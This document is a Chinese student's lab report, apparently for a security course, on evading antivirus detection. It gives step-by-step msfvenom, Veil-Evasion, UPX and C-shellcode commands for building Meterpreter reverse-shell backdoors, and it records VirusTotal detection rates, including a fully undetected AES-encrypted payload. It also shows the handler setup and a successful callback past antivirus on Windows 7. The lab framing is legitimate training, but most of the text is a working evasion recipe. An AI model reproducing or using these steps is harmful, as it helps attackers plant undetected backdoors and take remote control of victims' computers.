Exp3-免杀原理

Exp3-免杀原理

基础问题回答

(1)杀软是如何检测出恶意代码的?
杀软工程师将一些恶意软件提取特征码发布到病毒库中,用户更新病毒库就相当于更新了特征码库。
杀毒软件在杀毒过程中把当前检测样本文件特征码与病毒库中病毒特征码进行比对,特征码相同则报毒并且查杀,否则进行更多的处理。

(2)免杀是做什么?
通过一些手段来瞒过杀软的检测扫描,避免被杀毒软件查杀,并能成功控制被植入机。

(3)免杀的基本方法有哪些?
对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码,减少对系统的修改,多在内存里进行操作,多使用反弹式的连接。

(4)开启杀软能绝对防止电脑中恶意代码吗?
杀软不能绝对防止电脑中恶意代码。假如杀软的病毒库中如果没有记录该特征片段,或着没有检测该恶意代码的有效手段则无法检测到该恶意代码,就不能及时杀掉电脑中的恶意代码。

免杀测试平台:VirusTotal

实践内容

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

检测直接生成的后门程序(实验二中的后门程序)

检出率为53/68

接着使用Unicode对后门程序编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.0.133 LPORT=11310 -f exe > backdoor1.exe

用测试平台进行检测如下

检出率为54/70,发现检出率并没有下降

进行多次编码(此处采用我学号的序号19来进行编码)

编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

使用代码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -19 -b ‘\x00’ LHOST=192.168.0.133 LPORT=11310 -f exe > backdoor2.exe

-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数

进行检测

检出率还是54/70,发现还是没有什么变化!

利用php格式文件

使用代码:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.133 LPORT=11310 x> backdoor_php.php

通过测试平台进行检测

检出率为21/57,相比之前明显降低了很多

利用jar格式文件

使用代码:
msfvenom -p java/shell_reverse_tcp LHOST=192.168.0.133 LPORT=11310 -f jar > backdoor_jar.jar

进行检测:

检出率为32/59,也有所降低

2.veil,加壳工具实践

首先进行安装

sudo apt-get install veil-evasion
下载成功后,修改setup.sh:

sudo su
cd /usr/share/veil/config
vim setup.sh

修改第260行为如下内容:

修改完成后输入veil进行安装。

接着会弹出安装窗口,一直next下去就行。

使用veil工具

veil
use evasion			        //进入Evil—Evasion
use c/meterpreter/rev_tcp.py 	        //进入配置界面
set LHOST 172.16.222.229		//设置反弹链接ip,此处为Kali的ip
set LPORT 11310				//设置端口
generate
20191219veil                            //设置生成的文件(名称)

该生成文件的路径为/var/lib/veil/output/compiled/20191219veil.exe

检测该文件:

检出率为40/69,对比发现检出率还是很高

免杀加壳尝试

加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。

使用代码:
upx 20191219veil.exe -o 20191219_veil_upx.exe

发现生成了更小的新文件

对新文件进行检测:

检出率为32/61,可以发现加壳之后检出率稍微下降了一点

3.使用C + shellcode编程

首先使用msfvenom得到shellcode
使用代码:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.40 LPORT=11310 -f c

接着编辑c文件把shellcode代码写入
vim shellcode_c.c

编译成可执行文件
使用代码:
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

对恶意代码进行检测:

检出率为34/69,可以看到检出率有下降

4.通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

veil            //打开veil
use Evasion     //使用Evasion
list            //寻找palyload

看到第28,29行

接着输入

use python/shellcode_inject/aes_encrypt.py
generate
2

给出相应的参数设置端口信息等,生成文件
文件路径为:/usr/share/veil/veil.py

进行检测:

没有检出!
这里的原理是使用了数据加密的方式进行多次编译后门软件

附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

1.在win11主机上测试,发现开启杀软的情况下无法打开后门程序

以下为关闭杀软后测试:

KALI虚拟机开启msfconsole进行监听

在主机运行后门软件后成功获得shell

2.在win7系统上测试

首先还是在kali虚拟机上开启msfconsole
输入命令,开始攻击

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.101.141
set LPORT 11310
exploit

此处用的数据是生成后门程序时所使用的数据。

在win7上运行后门程序
使用的杀软是win7系统和腾讯电脑管家(版本V15.2)
使用的后门程序是20191219veil_upx.exe(生成方式见上文)

可以发现在开启杀软的情况下依然可以运行加密加壳后的后门程序。

成功回连!

实验体会

明显感觉这次实验要难的多,实验过程中不断出现各种各样的问题,比如veil的安装过程中出现的许多错误。我只好不断寻找解决办法,通过询问同学或者网上查找资料最终解决了问题。同时通过这个实验让我知道,今天windows的防护系统是真的厉害,但是也没有绝对的安全,也存在杀毒软件检测不出来的后门,使用我们不能掉以轻心。只有时时刻刻保持安全意识,杜绝安装不安全的计算机软件,才能保证我们的网络信息安全。

posted @ 2022-04-07 17:26  1219雷天荣  阅读(111)  评论(0编辑  收藏  举报